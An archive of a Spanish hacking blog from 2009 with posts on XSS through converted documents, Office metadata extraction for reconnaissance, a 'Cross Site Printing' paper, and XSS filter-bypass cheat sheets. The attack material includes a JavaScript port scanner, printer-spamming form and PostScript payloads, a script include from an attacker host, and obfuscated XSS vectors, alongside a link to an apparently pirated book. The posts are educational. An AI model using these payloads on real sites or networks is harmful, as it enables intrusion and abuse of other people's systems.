Cuando nos encontramos con el problema de querer protegernos contra algunos ataques que pueden sufrir nuestras webs normalmente la solución a estos suele ser más tediosa que la simplicidad de los ataques. Al igual que los ataques que pueden ir desde un simple alert(5), hasta ataques más elaborados que intenten bypassear algún tipo de filtro: onmouseover="alert(String.fromCharCode(70,117,99,107,32,105,71,111,111,103,108,101));" . De esta misma forma cuando queremos defendernos de estos ataques disponemos desde soluciones simples y rápidas como sanear nuestra variable simplemente con una función en PHP como htmlspecialchars hasta sistemas más complejos como filtros propios en JavaScript, alguna libreria de filtrado como HTMLPurifier o algun Web IDS.

La idea de este post es la misma que la del anterior post de cheatsheet, recolectar varias maneras de prevenirnos de este tipo de ataque, compararlas y seleccionar cual es la más efectiva y segura.

Saludos y espero que participen...
5 0verl0ad Labs: 2009 Buenas! Para los que no me conozcan soy Lix y desde ahora también escribiré en el blog de mi amigo The X-C3LL. Probablemente a algunos les s...

sábado, 4 de abril de 2009

Hacking RSS and Atom (607 páginas)

Hacking RSS and Atom



Mi última adquisición, mi lectura para descansar de las tardes de estudio que me esperan XDD.


DESCARGA

Que quede claro que símplemente he recolectado el link de internet, YO NO HE SUBIDO ESTE ARCHIVO (aclaro, que despues los del Copyright se nos ponen farrucos XD)
5 0verl0ad Labs: 2009 Hacking RSS and Atom Mi última adquisición, mi lectura para descansar de las tardes de estudio que me esperan XDD. DESCARGA Que qued...

viernes, 3 de abril de 2009

XSS a través de OpenOffice

Saludos a todos!

Como es habitual, antes de empezar con la parte técnica, os voy a contar un poco de mi vida... Bien, esta noche voy a volver a las desérticas tierras de Almería para poder disfrutar de estas vacaciones... en esta semana que viene, continuaré con la parte de Metadatos que se borró (archivos .XLS), ya que en este ordenador no poseo MS Office para poder poner imágenes molonas y todos esos rollos, por lo que a esperar os toca :P (la culpa la tiene Lix por decirme que me ponga Fedora 10 XD). Por otra parte, algo interesante es que probablemente se nos una un compañero más en este patiburrillo que tengo por blog... así que ya podríamos decir que vamos a ser algo parecido a un blog serio.

Y hasta aquí el avance de noticias, ahora viene la parte técnica

==========================

Leyendo por el blog del Doctor Maligno me fijé en esto de colgar los PowerPoints de las presentaciones en una web para no tener que descargarlo y poder visualizarlo. Me pareció una cosa bastante curiosa la verdad, y como todo buen curioso me dispuse a leer un poco de cómo funcionaba este sistema.

La verdad es que ví varias variantes utilizando scripts en PHP, entre los cuales destacaban la conversión de los archivos en .pdf y en .html. Y es al leer sobre este último tipo de conversión donde se me planteó una pequeña idea que me atrajo bastante la verdad... y consiste en introducir código malicioso en el documento para que el .html generado tuviera un link que apuntase a una sentencia JavaScript...

Entonces me puse mano a la obra, abrí OpenOffice inserté un link con una pequeña sentencia javascript a modo de prueba de concepto:



Despues lo guardé primero como .doc y despues lo pasé a .html. Resultado: al cliclar sobre el link se me ejecutaba el alert. Bien... esto en la teoría debería de funcionar de 10... El caso es que quise probar "in situ" si mi teoría se cumpliría... y me fui hacia scribd.com, web bastante conocida y usada para subir cosas. Así que me encaminé a subir mi prueba de concepto haber que pasaba, aquí teneis el resultado: Prueba de Concepto , si dejais el ratón sobre link, observareis que no indica hacia donde apunta, por lo que no se puede predecir la hacia donde donde apunta el link a simple vista. Si clickais, podreis comprobar en vuestras propias carnes cómo se ejecuta un alert que contiene vuestra galletita :D.


Si bien, en el caso la aplicación está en Flash... el resultado era el esperado. Podemos decir que la vulnerabilidad de esta aplicación web reside en dos puntos importantes: falta de filtro, y ocultación de información.

En el primer caso, de existir algún tipo de filtrado para evitar la ejecución de código javascript, podríamos evitar perfectamente que un usuario al querer seguir el link caiga en nuestras redes. Por otra parte, el hecho de que no se muestre el target del link, hace que también podamos usarlo con otros menesteres, como por ejemplo algún tipo de phising.

En fin... que revisando información de esta clase de vulnerabilidad, llegué hasta un paper de Aditya K Sood (de SecNiche.org) donde ya hablaba de la utilización de aplicaciones word como vector de ejecución de código javascript y también sobre la inclusión de frames para realizar CSRF. Aquís os dejo el paper:

http://www.secniche.org/papers/SNS_09_01_Evad_Xss_Filter_Msword.pdf




5 0verl0ad Labs: 2009 Saludos a todos! Como es habitual, antes de empezar con la parte técnica, os voy a contar un poco de mi vida... Bien, esta noche voy a volv...

miércoles, 1 de abril de 2009

Nueva incorporación al blog

Saludos queridos lectores,

Informamos de que un nuevo miembro se nos ha unido a este proyecto/gilipollez de blog que teníamos Mace y yo. En esta ocasión le ha tocado a Seth, uno de esos tipos con los que he es agradable de vez en cuando hablar sobre vulnes, y que siempre te abre conversación con un interesante link... Por supuesto no tanto como los de Lix, XD.


De todas formas, para aquellos que siguen el blog simplemente deciros que por culpa de unos ataques que ha sufrido en su blog, va a empezar a publicar por estos lares... así qeu ser buenos con él y leed lo que ponga... Y si no os gusta te largas por donde has venido, o como rezaba en XD Blog "Podés irte a defecar".


Sin más que decir me despido, próximas publicaciones desde las desérticas tierras almerienses... ¡¡Que DioX nos coja confesados!!
5 0verl0ad Labs: 2009 Saludos queridos lectores, Informamos de que un nuevo miembro se nos ha unido a este proyecto/gilipollez de blog que teníamos Mace y yo...

lunes, 16 de marzo de 2009

Metadatos II: Destripando .DOC

Saludos!


Ya estamos aquí de nuevo para darle caña a esto de los metadatos. Hoy vamos a hablar un poco sobre los metadatos en documentos word y hojas de cálculo excel, porque creo que son los tipos de archivos ofimáticos que más se pueden exponer, en el sentido de que son los que más se cuelgan en las webs para su descarga.


Como ya dije con anterioridad, existen múltiples herramientas que nos sacan los metadatos en un plis plás, pero yo lo que pretendo con estos pocos artículos (y con el que voy a hacer con Lix) es enseñaros qué son los metadatos, como podemos verlos, y daros unas pistas de cómo podeis codear vosotros una herramienta que se adapte a vuestras necesidades.


Los metadatos, como ya dijimos, contienen distintas informaciones acerca de nuestro documento, ya sean datos de la manipulación del documento, estructura, o descripciones sobre el contenido del mismo. En el caso de los archivos ofimáticos creado con MS-Office, esta información se incorpora de forma automática a nuestro propio archivo, es decir, que en nuestro documento tenemos a parte de nuestro texto, esta información. Como es lógico, si no la eliminamos, cualquier persona a la cual le suministremos nuestro documento podrá analizarlo y extraer datos de cierta relevancia sobre nosotros.


La forma de extraer estos datos es múltiple, desde simplemente abrir el documento con un editor hexa y buscar información, hasta sacar objetos OLE (como ejemplo el script que hice en el artículo Metadata I: Nociones básicas ). Otra opción puede ser pasar el archivo a otro formato... en el caso de .doc a .rtf (Rich Text Format) donde podremos ver mejor los metadatos....

El caso es que de primeras, para observar que esto de los metadatos es algo real, coged un editor hexadecimal y abrid cualquier documento Word que tengais a mano:





Si buscais un poquito podreis encontrar cosas como esta, donde podemos ver el nombre de usuario y el programa creador del documento. Si seguis viendo encontrareis otras cosas, en mi caso, puse un link a un recurso compartido y si observamos podemos encontrar el link:



Quedaros con eso de PID_HLINKS, ya hablaremos de eso más adelante. Si os fijais también podeis encontrar la compañía (Dark). Como veis aparece una cosa interesante como puede ser \\maquina003\PoC\ejemplo C3LL ... sería una cosa bastante interesante dar con algo como esto :D


Tras este primer vistazo, podemos entender porqué son importantes estos metadatos. Podemos llegar a esquematizar la estructura interna de una organización a partir de las rutas relativas, los dominios internos, las rutas de las imagenes que haya linkeadas, las impresoras externas; y además también podemos saber algunos software que usan, el tipo de impresora, etc... lo que si encontramos algo sobre lo que haya ya publicado en algun Bugtraq vulnerabilidades... tenemos la mitad del camino hecho.

A parte, también podemos sacar patrones de conductas y datos personales (nombres y apellidos, correo electrónicos, etc.) muy útiles a la hora de aplicar un poco de ingeniería social y de saber, por ejemplo, qué clase de permisos tiene cada usuario.

Bien, pero aún podemos extraer más datos. Al exportar un archivo .doc sucio (es decir, sin haber limpiado los metadatos) a formato .rtf (Rich Text Format), y abrirlo con un block de notas optendremos una marañana de datos... entre los cuales encontraremos nuestros queridísimos metadatos:




Por si alguien no sabe como pasar a .rtf, simplemente abre el documento word, dale a guardar como y selecciones el formato RTF. Bien, si nadais entre ese cúmulo de caracteres sin sentido aparente (y sólo aparente) encontrareis las mísmas cosas que antes... pero si os fijais más aún y comprobais con otros documentos... vereis que hay una serie de coincidencias, a partir de las cuales podrás sacar datos intereantes:

-Generator: es el programa que ha generado el documento (EJ: {\*\generator Microsoft Word 11.0.0000;} )
-Author: El usuario que creo el archivo (EJ:{\author usuario})
-Company: Compañía (EJ: {\*\company Dark})
-Revtbl: Usuarios que han creado/editado el archivo


Y despues hay otra serie de datos... tan sólo hechad un vistazo por ahí.


(Continuará)

5 0verl0ad Labs: 2009 Saludos! Ya estamos aquí de nuevo para darle caña a esto de los metadatos. Hoy vamos a hablar un poco sobre los metadatos en documen...

domingo, 15 de marzo de 2009

Metadatos I: Nociones básicas

Saludos lectores!


Antes de empezar quisiera pedir perdón por no haber posteado en estos últimos días, pero lo primero es la vida real y despues la virtual; y en este caso me ha tocado tomarme unos días para ver qué hacía con mi vida...


Dejando de lado mi descuido reciente en la publicación del blog, hoy vamos a hablar de los metadatos. Sí, ya sé que tengo pendiente lo de CSS Attacks, pero me han dicho "POstea algo rápido esta noche", y pss aprovechando que estaba con Lix hablando me he decidido a postear sobre este tema.

La idea ya me rondaba hacía tiempo... y entre el artículo sobre enumeración que voy a hacer para CPH (y por supuesto para el blog :P), las lecturas del blog de Chema Alonso (que por cierto no me van a dejar asistir a una charla suya en la USAL, en unas jornadas de puertas abiertas... que de puertas abiertas los cojones, he ido a informarme y por estar matriculado en Biología me han dicho que no puedo...), y en último lugar el próximo proyecto que vamos a comenzar Lix y yo (esperemos que salga algo tan interesante como lo fue en su momento "HTTP al descubierto") sobre metadatos.


Empezaremos desde 0 para aquellos que no tienen ni idea de lo que son Metadatos. Son datos que aparecen dentro de un archivo (sea de las características que sea: .html, .doc, .xls, .pdf, .jpeg...) y cuyo contenido informa del propio archivo. Estas informaciones son variadas, y pueden abarcar desde el autor o el programa con el que si hizo el archivo, hasta impresoras remotas instaladas en nuestra red, pasando por rutas locales... etc.

Para aquellos que alguna vez se han codeado una web, conocerán los elementos html conocidos como "meta". Estos elementos de primeras pueden parecer que no sirven, pero hay aplicaciones (como los buscadores) que extraen algunas informaciones de estos elementos. Algunas cosas que se suelen poner en los meta de la cabecera del documento son el autor, la descripción de la página y alguna otra información trivial, como correo de contacto.


En esta serie de artículos nos vamos a centrar en el trabajo de archivos de caracter ofimático y de imagen, ya que son los más difundidos sin tener cuidado y además hay más posibilidad de encontrar "algo".

Ya sabemos lo que son los metadatos, y te preguntarás para qué queremos conocerlos. Tranquilo, aunque al principio probablemente te parecerá que no son interesantes, a la larga comprenderás la importancia que tienen. Básicamente los vamos a emplear en una de las etapas que comprende cualquier ataque a una organización, la enumeración. En esta etapa lo que se hace es recabar todas las informaciones relevantes, como servicios que corren, puertos abiertos, versiones de aplicaciones, OS, nombres de usuario, estructura de la red interna, etc...

Si analizamos los metadatos de todos los archivos ofimáticos que hay colgados en la web de alguna organización interesante, seguro, seguro que obtenemos informaciones realmente jugosas. En "El Arte de la Intrusión" (el artículo para CPH) aparecerán ejemplos descargables para practicar todo estoy comprobar en nuestro ordenador como podemos llegar a sacar cosas interesantes.

Mi intención es publicar primero esta introducción, mañana o pasado hablar sobre los metadatos en aplicaciones MS-Office, despues OpenOffice y por último poner unas cuantas herramientas para que tengais.

Para abrir boca, vamos a usar un pequeño script codeado en perl que usa Win32::OLE para sacar algunos datos. En nuestro caso, lo único interesante con lo que vamos a encontrarnos es con el autor... ya que en la mayoría de las ocasiones coincide con el nombre de la cuenta de usuario que creó ese archivo, por lo que es algo importante:


#########DataFoS.pl /Ejemplo nº 1#########
# Codex by The X-C3LL #
# Blog: http://0verl0ad.blogspot.com/ #
# Ejemplo de extractor de datos básicos #
# "El Arte de la Enumeración #
# #
############Flaming Our Skills############



#Declaramos los módulos a usar. Usaremos Win32::OLE para interactuar (la usaremos sobre todo
#Cuando analicemos archivos de MS-Office

use strict;
use warnings;
use Win32::OLE;

if (!$ARGV[1]){
exit();
}

#Seteamos las variables con las que vamos a trabajar
my $ruta = $ARGV[0];
my $arch = $ARGV[1];


my $shell = Win32::OLE->new("Shell.Application") || die;
my $folder = $shell->NameSpace($ruta) || die;
my $file = $folder->ParseName($arch) || die;


#Montamos un array con los 34 campos que contienen info
my @info = ("Name","Size","Type","Date Modified","Date Create", "Date Accessed", "Attributes","Status", "Owner", "Author", "Title", "Subject", "Category", "Pages", "Comments", "Copyright", "Artist", "Album Title","Year", "Track Number", "Genre", "Duration", "Bit Rate", "Protected", "Camera Model", "Date Picture Taken", "Dimensions", "Empty", "Empty", "Empty", "Company", "Description", "File Version", "Product Name", "Product Version");

#Creamos un bucle while para sacar todos los campos
#http://www.microsoft.com/technet/scriptcenter/guide/sas_fil_lunl.mspx?mfr=true

#Con un bucle mostramos la info
my $count = 0;
foreach my $campo (@info){
my $data = $folder->GetDetailsOf($file, $count);
print $campo." : ".$data."\n";
$count++;
}


El code lo he hecho en 10 minutos, así que no me he preocupado de que comprobase las extensiones, por lo que muestra todos los campos, y lógicamente los que son sólo para archivos multimedia (como canciones) van a estar vacíos.

Reitero que esto es para abrir boca sólo y porque me han pedido que postease algo, ya mañana o pasado empezamos con lo interesante!
5 0verl0ad Labs: 2009 Saludos lectores! Antes de empezar quisiera pedir perdón por no haber posteado en estos últimos días, pero lo primero es la vida rea...

viernes, 20 de febrero de 2009

XSP: Cross Site Printing

Recien acabo de terminar este pequeño paper. Estoy esperando a que alguien le haga un mirror (tengo por ahí el PDF, si alguien quiere subirlo avisadme).

Edito: he subido el paper a milw0rm-> Cross Site Printing


==============================================================
./0x00 Introducción al tema
./0x01 Conceptos básicos
./0x02 Buscando impresoras
./0x03 El arte del ASCII
./0x04 PostScript: controlando la impresión
./0x05 Conclusión



./0x00 Introducción al tema



El tema que venimos a tratar en este pequeño paper es la posibilidad desde el
exterior (véase desde una web, por ejemplo) realizar un “ataque” (entrecomillémoslo)
hacia las impresoras que tenemos en nuestra intranet. No es un tema transcendental ni
mucho menos, pero para mí es algo que me resulta bastante curioso y que está poco
documentado en castellano.


Realmente el impacto no lo considero grave ni mucho menos, bueno quizás en el
caso de mandar FAXs el impacto puede ser económico… y alguna denegación de
servicio también se puede lograr… pero salvo estos casos, en general sólo sirve para
imprimir documentos en redes ajenas (un poquito de SPAM ).


El Cross Site Printing no es más que una variante del Cross Site Scripting (XSS) de
toda la vida, consistente en que al visitar una web, ésta contiene un código JavaScript
que enviará una petición a la impresora donde mediante código PostScript podremos
llegar hasta a “dibujar”. Auqnue no sólo con JavaScript, ya que podemos variar el
ataque y convertirlo en uno usando las CSS (CSS Attack), cosa que ya veremos en su
apartado.


Sobre la vulnerabilidad, decir que surge por una falta de previsión por parte de
los fabricantes, los cuales no han pensado la posibilidad de colocar autentificaciones u
algún otro sistema de identifiación, o de filtro de seguridad para evitar esto. He de decir,
que en los últimos años según he estado leyendo recientemente, esto ya no es así, sino
que algunos sistemas ya incorporan medidas de seguridad básicas… pero como casi
todo hoy en día, tienen fallos aprovechables (podeis hechar un ojo poralgún bugtraq
para ver algunas vulnes en impresoras).


./0x01 Conceptos básicos


Antes de poder meternos a fondo con el tema, necesitamos conocer ciertos
conceptos básicos para poder entender más adelante todo lo que vamos a decir. Para
empezar… ¿de qué forma saben las impresoras cómo es la descripción de la página
que han de escribir?



Para responder a esto, debemos de saber qué son los lenguajes de descripción
de páginas. Los PDL (Page Description Language) son los encargados de describir la
maquetación del texto, la disposición de elementos gráficos como objetos vectoriales o
mapas de bits, el formato de las páginas, etc… Podemos encontrar diferentes PDLs
dependiendo de la empresa fabricante de la impresora, así encontramos por ejemplo
que HP usa PCL (Printer Command Language, es muy común confundir estas siglas con
las de Printer Control Languages, siendo este último un sinónimo de PDL), Epson usa
ESC/P (Epson Standar Code for Printers) y ESC/P2 (versión mejorada del anterior),
Samsung tiene el SPL (Samsung Printer Language), y por último nombrar a Adobe y su
PostScript. Estos son los más importantes, puesto que hay muchos más.
De los PDL que hemos mencionado, nosotros nos vamos a central sobre todo en
PCL y PostScript, puesto que son los que mayor transcendencia han tenido. De ambos
lenguajes hablaremos más adelante con algo más de detalle, por ahora sólo hacer un
par de apuntes interesantes.


Sobre PostScript, decir que fue de los primeros en ser un
lenguaje de programación en sí, es decir, marca la diferencia con los demás sistemas de
descripción de la época, los cuales se basaban en secuencias de caracteres de escape.
También decir que implementó la composición de imágenes a través de líneas
horizontales y curvas, nubes de píxeles y distintos tipos de tipografía. El formato PDF
(Portable Document Format) es un derivado de PostScript.


Para terminar de hablar de los PDLs, hablaremos de PCL. El PCL introducido por
HP ha sido uno implementado por un gran número de fabricantes, por ello va ha ser
sobre el que trabajemos. Los comandos de PCL son secuencias iniciadas por algún
carácter de escape.



Ahora toca hablar sobre los protocolos que usan las impresoras en red.
Bien, vamos a hablar a grandes rasgos (puesto que en materia de protocolos sólo sé
aquello que me ha ido haciendo falta) de los protocolos que suelen usar las impresoras.
El primero es el LPD (Line Printer Daemon) y trabaja por el puerto 515.
Después tenemos el IPP (Internet Printing Protocol) que está basado en el
protocolo IP ,y construido sobre HTTP, permite la autentificación y el cifrado. Este
protocolo envía una mayor cantidad de datos relacionados con el trabajo que otros
protocolos. Utiliza el puerto 631.



El protocolo de recursos compartidos CIFS (Common Internet File System),
anteriormente conocido como SMB (Server Message Block), también puede ser utilizado
para la comunicación con impresoras dentro de una red. Este protocolo es empleado
principalmente por Microsoft, aunque exite una implementación libre del protocolo
llamada Samba que permite su utilización en sistemas operativos GNU/Linux. Los
puertos que puede emplear son 137, 138 y 139.


Y por último, sobre el que vamos a hablar en el paper, es el protocolo
Raw TCP/IP, el cual trabaja por el puerto 9100.


./0x02 Buscando Impresoras



Como ya hemos dicho, nosotros nos vamos a centrar en los ataques a
través del protocolo Raw. Para realizar una búsqueda de impresoras dentro de nuestra
intranet, o bien queremos hacerla hacia redes remotas (si estan mal configurada
podemos acceder a las impresoras) tenemos varias opciones. La opción A es codearnos
un programa sencillo en nuestro lenguaje preferido (en mi caso PERL) y lanzar sockets a
direcciones IPs internas o hacer una búsqueda masiva. En cualquiera de los casos lo que
debemos de hacer es tratar de ver si tiene el puerto 9100 abierto. En caso afirmativo
hemos encontrado una impresora sobre la que trabajar.



Pero en este caso no estaríamos explotando ninguna vulnerabilidad ni
nada similar… y sería aburrido. Recientemente he estado leyendo acerca de los
Scanners de puertos en JavaScript y en CSS. Como ya dije al principio, el Cross Site
Printing es una vulnerabilidad derivada de los XSS’s. Luego si un usuario visita una web
vulnerable a XSS, y en el código malicioso incluimos el PortScanner, podremos saber la
direcciones de las impresoras que hay en su red, y ahí atacar. Este pequeño concepto lo
he sacado a partir de una idea que teníamos en mente S e t h y yo sobre analisis de
intranets desde el exterior para combinarlo con Malwares contra routers… pero el
concepto es portable a otros escenarios como es este.


Aquí os dejo un ejemplo de un PortScanner en JavaScript:



var AttackAPI = {
version: '0.1',
author: 'Petko Petkov (architect)',
homepage: 'http://www.gnucitizen.org'};
AttackAPI.PortScanner = {};
AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout)
{
var timeout = (timeout == null)?100:timeout;
var img = new Image();
img.onerror = function () {
if (!img) return;
img = undefined;
callback(target, port, 'open');
};
img.onload = img.onerror;
img.src = 'http://' + target + ':' + port;
setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);
};
AttackAPI.PortScanner.scanTarget = function (callback, target, ports,
timeout)
{
for (index = 0; index < ports.length; index++)
AttackAPI.PortScanner.scanPort(callback, target,
ports[index], timeout);
};


Mis conocimientos en JavaScript rozan casi la nulidad, por ello no he
podido modificar este script para que busque impresoras en nuestra red, pero sí que
tengo la idea de cómo se haría (me faltan los conocimientos sobre el lenguaje para
poder expresarlas). La cosa sería crear unos bucles FOR que fueran creando diferentes
IPs posibles incrementandolas (las que equivaldrían al Target) para que den lugar a las
diferentes IPs de nuestra red (192.168.1.1, 192.168.1.2 y así sucesivamente) y aplicarle
la función de escaneo a esas IPs, pero haciendo que únicamente revise el puerto 9100.


Si alguien logra crear un scanner basandose en estas indicaciones, por
favor envíadmelo para incluirlo en esta publicación.


./0x03 El arte del Ascii



Ya sabemos cómo encontrar impresoras en nuestra red y en ajenas, y
además a través de que puerto vamos a trabajar. Ahora toca hablar sobre el “trabajo en
sí”.


Para comunicarnos con la impresora, y que ésta imprima debemos de
hacer una conexión a ésta a través del puerto 9100. Esta conexión podemos establecerla
de multiples maneras, como por ejemplo a través de NetCat, Telnet, Putty o algún otro
sistema que permita negociaciones de este tipo. Pero, como nosotros queremos
enfocarlo hacia el ataque desde una web, usarermos para la conexión nuestro
navegador. Para ello, entremos a la URI http://IPdeTuImpresora:9100. Al añadir los : y el
número, indicamos a nuestro navegador que se conecte a través del puerto que
queramos.


Si todo ha salido bien, no debería de cargarte ninguna web, es decir,
verías todo en blanco… y en la impresora algo recién impreso: la cabecera HTTP que
enviástes. Ahora observar qué ocurre si mandais una petición tipo POST con por ejemplo
la siguiente frase: “Lutscher si estás leyendo esto… vuelve con nosotros!!!!” usando
Live HTTP Headers. La frase aparece impresa sí, pero se encuentra bajo URLEncoded, lo
que podría no ser un texto legible con facilidad.


Bien, volvamos al ejemplo de que tenemos cierta web vulnerable a XSS y
combinando el scanner en JavaScript y añadiendo un formulario hidden que contenga
nuestra frase, y haciendo que este se autosubmitee para que se mande a nuestra
impresora (que sabremos por el scanner), podríamos hacer un poco de SPAM. Pero si realmente queremos mandar un mensaje o un dibujo en ASCII, el URLencode resulta
engorroso. Esto podemos solventarlo si el formulario lo dejamos de esta forma:



<FORM ACTION='HTTP://YOURPRINTER:9100' NAME=”IMPRESORA”
ENCTYPE='MULTIPART/FORM-DATA' METHOD='POST'>
<input type=”hidden” value=”Estas siendo Spammeado :O”>
</FORM>


A esto le añadimos la función de auto envío y ya. Aquí juega un papel
importante podríamos decir el dibujar en ASCII para poder dar cierta mejor calidad a
nuestro texto (añadir dibujos y esas cosas).


./0x04 PostScript: Controlando la Impresión


Al inicio del paper ya estuvimos hablando sobre los lenguajes PDL y dijimos que
nosotros ibamos a usar PCL y PostScript para controlar diversas funciones. En este
apartado, vamos a conocer nociones muy básicas de Post Script (para aprender más
buscad algún manual) y cómo encapsularlo dentro de PCL.


Empecemos viendo como son los comandos en PS (a partir de ahora lo usaremos
como abreviatura). A diferencia de los lenguajes que todos conocemos, en PS los
parámetros de los comandos han de introducirse antes que el comando, por ejemplo:


100 300 moveto


En este caso, moveto es el comando y sus parámetros son 100 y 300. Este
comando sirve para mover el cursor hasta el punto de inicio del dibujo. Los dos valores
que se indican antes hacen referencia a las coordenadas (utilizando como referencia
píxeles, cosa que podemos modificar con otros comandos al igual que el tamaño del
papel) x e y.


Como todos sabemos desde la primaria, para dibujar una línea recta necesitamos
dos puntos, y si ya tenemos uno ahora nos hace falta el punto final. Para ello usaremos
lineto, cuya sintaxis es la misma que la de moveto:

300 360 lineto

Donde el primer valor indica las coordenadas en el eje X y el segundo en el eje Y.
Pero no solo necesitamos esto antes de hacer una línea, sino que debemos de indicar el
inicio de que se va a dibujar una línea con el comando newpath y el final con stroke. Con
esta información ya podemos empezar a dibujar figuras rectilíneas simples:

newpath
150 150 moveto
350 150 lineto
350 300 lineto
150 300 lineto
150 150 lineto
stroke


Aquí ya tendríamos un rectángulo. Exsiten múltiples programas que
sirven para representar en pantalla el dibujo, de esta forma podremos trabajar mejor.
Para indicar el ancho de línea con la que queremos que se realice nuestro
dibujo, emplearemos el comando setlinewidth:

X setlinewidth

Siendo X el grosor de la línea indicado en píxeles.


También podemos controlar la tipología con la que escribimos. Por
ejemplo, para seleccionar un determinado tipo de fuente no tenemos nada más que
escribir /nombredelafuente findfont . Despues seleccionamos el tamaño con scalefont (x
scalefont), setear la fuente para usarla con setfont y por último escribirla y mandarla
con show. En resumen:

/Times-Roman findfont
50 scalefont
Setfont
100 300 moveto
(Overload In The Net RoolZ!!) show


Por ultimo, para realizar la impresión sólo tendremos que finalizar con
showpage.


Son muchos los comandos y las posiblidades (desde trazar curvas, unir
puntos con curvas, usar colores, mapas de bits, etc…) y no es el objetivo de este
documento centrarse en esto. Simplemten pongo algunos casos sencillos para que
entendais más o menos lo básico de este lenguaje. Existen programas que convierten
webs enteras a PS, lo cual nos facilitaría enormemente el trabajo.


Para encapsular un código PS dentro de PCL para que sea ejecutado por la
mayoría de las impresoras, simplemente tenemos que inicialmente indicar qué lenguaje
vamos a usar usando para ello la siguiente directiva:


%-12345X@PJL ENTER LANGUAGE = POSTSCRIPT


Y para indicar hasta donde termina el código, usaremos %-12345X. Y
como último detalle decir que al inicio del código PS tenemos que poner antes del primer
comando %!PS.


Si todo esto lo unimos a JavaScript, tenemos la forma perfecta de
controlar la impresión. Aquí os dejo un pequeño ejemplo que he encontrado al consultar
un pequeño paper de Aaron Weaver


var msg=String.fromCharCode(27)
+ "%-12345X@PJL ENTER LANGUAGE = POSTSCRIPT\r\n”
+ "%!PS\r\n"
+ "/Courier findfont\r\n"
+ "20 scalefont\r\n"
+ "setfont\r\n"
+ "72 500 moveto\r\n"
+ "(Your printer is mine!) show\r\n"
+ "showpage\r\n"
+ String.fromCharCode(27)
+ "%-12345X”


./0x05 Conclusión



Para concluir simplemente decir que proteger las impresoras con passwords u
otros sitemas es algo bastante importante, ya que pese que aquí hemos visto
únicamente como imprimir en casa a ajena usando para ello una web vulnerable a XSS y
un poquito de JavaScript, el impacto puede llegar a ser bastante mayor. Por ejemplo, se
podría llegar a causar denegaciones de servicio en la impresora, y en toda la red.



A parte de esto, hay que tener mucho cuidado a la hora de las configuraciones,
para evitar que personas ajenas a la red puedan ejecutar acciones sobre ella, tal y como
hemos visto.



Para contacto: Camaleon__81 -at- Hotmail -dot- com
5 0verl0ad Labs: 2009 Recien acabo de terminar este pequeño paper. Estoy esperando a que alguien le haga un mirror (tengo por ahí el PDF, si alguien quiere subirl...

XSS CheatSheet

Aqui os dejo esta pequeña "Chuleta" sobre XSS. Yo recomiendo guardarla en marcadores por si alguna vez os hace falta :P. La cosa es que quería postearla de tal forma que puedieramos buscar el tipo de filtro en ella... haber que tal os parece.



-Bloqueo del Número máximo de caracteres

Hacer Form Tampering o modificar el header


-Codigo se queda en un value=""

Poner un "> u otro elemento de clausura que nos deje salirnos



-Magic Quotes activadas (imposibilidad de poner comillas)

Poner el código .js en un host externo y hacer <script src=tuhost></script>


-Te impide poner / para cerrar un tag

<img src=. onerror=alert(/XSSed/)>


-
Eliminación de caracteres especiales

<script>alert(
String.fromCharCode(88,83,83));</script> Siendo los números el valor del caracter en ASCII


-Filtro Strip_Tags (puedes meter algunos tags, pero otros como <script> los bloquea

<
p style="background: url("JavaScript:alert(/xss/);">



-Supresión de ciertas expresiones o palabras

Salto de linea
JavaScr
ipt:alert(1);

Inclusión de otra palabra tabú en mitad de la que queramos
java<script>script:alert(1);

Eliminación de funciones y expresiones dentro del código javascript
javascript:alert(eval('Saltando'+' Bypass'));



===============================================

Hasta aquí nuestra pequeña colección... realmente quisiera que me mandarais más al correo de contacto, las publicaré añadiendo el nombre del que me las haya mandado.

PD: Aqui teneis muuuuuuuuuuuuuuuuuuchas más formas interesantes:
XSS CheatSheet
5 0verl0ad Labs: 2009 Aqui os dejo esta pequeña "Chuleta" sobre XSS. Yo recomiendo guardarla en marcadores por si alguna vez os hace falta :P. La cosa e...

miércoles, 18 de febrero de 2009

XSS: Más formas de realizar un bypass

Saludos!


Son las 5:41 AM y mañana tengo clase de "Citología e Histología Animal y Vegetal", despues "Bioquímica", "Física", "Bioestadística" y por último prácticas de laboratorio de BQ... total que mi jornada empieza a las 9 de la mañana... así que imagenese el panorama: ahora no me puedo dormir porque no me despertaré. Por ello, voy a hacer algo productivo añadir un par de formas más sobre como saltar determinados filtros, y ya mañana cuando vuelva de clase (puesto que tengo huecos de varias horas) a mi habitáculo numerado como 302.... me pondré a juntar todos los métodos (es decir, extraer de aquel paper que hice ya time) y haré una especie de chuleta para tener en los marcadores por si nos hace falta ;)



Allá que vamos.

__________________________________________________


·Filtros basados en la supresión de palabras o expresiones concretas:

A este respecto, he encontrado dos formas curiosas de hacer el bypass. Una es aprovechando que la función de filtrado es Case Sensitive, es decir, que no distingue entre mayúsculas y minúsculas. En estos casos, si por ejemplo el filtro suprime la palabra "Javascript", nosotros podemos usar JaVaSCRiPT, y nuestro navegador lo dará por bueno :)

Otra posible forma que se me ocurre es el de meter un \n en mitad de la palabra, es decir, hacer:

JavaScr
ipt:alert(1);

Normalmente los navegadores suelen dar esto por válido y empalman la palabra automáticamente (siempre hay excepciones). Otro bypass u ofuscación de palabras puede ser el meter otra palabra tabú en mitad de la que nosotros queremos. Siguiente el ejemplo de la prohibición de Javascript:

java<script>script:alert(1);

De esta forma, el filtro eliminará <script> y empalmará el texto "javascript".


·Filtrado de expresiones, atributos y funciones

En algunas ocasiones el sistema sí permite el uso de código JS, pero meten un filtro para que suprima ciertas funciones que podrían volverse... "problemáticas". Para ello podemos usar eval(), metemos en ella la palabra por partes y despues concatenamos:

javascript:alert(eval('Saltando'+' Bypass'));

·Adhesión de caracteres al final de la cadena

Este curioso tipo de filtro me lo encontré en una web donde al hacer búsquedas, creaba un link a una foto del tipo <a href="http://example.org/index.php?z=LoqueBuscasSearched">. Me filtraba los <>, así que la idea de siempre de hacer "> no podía ser. El caso es que simplemente puse " para cerrar el href y despues puse un evento onmouseover con el JS y para poder evadirme el Searched">, simplemente me inveté un atributo. Entonces introduje esto:

foo" onmouseover=alert(1); bio="

Y el resultado fue:

<a href="http://example.org/index.php?z=foo" onmouseover="alert(1);" bio="Searched">


Bueno, son las 6:20AM ahora mismo (me fui a comer algo tenía hambre XD) y no se me ocurre ningún otro bypass, cuando me acuerde lo añadiré sobre la CheatSheet.

Byt3z a todos

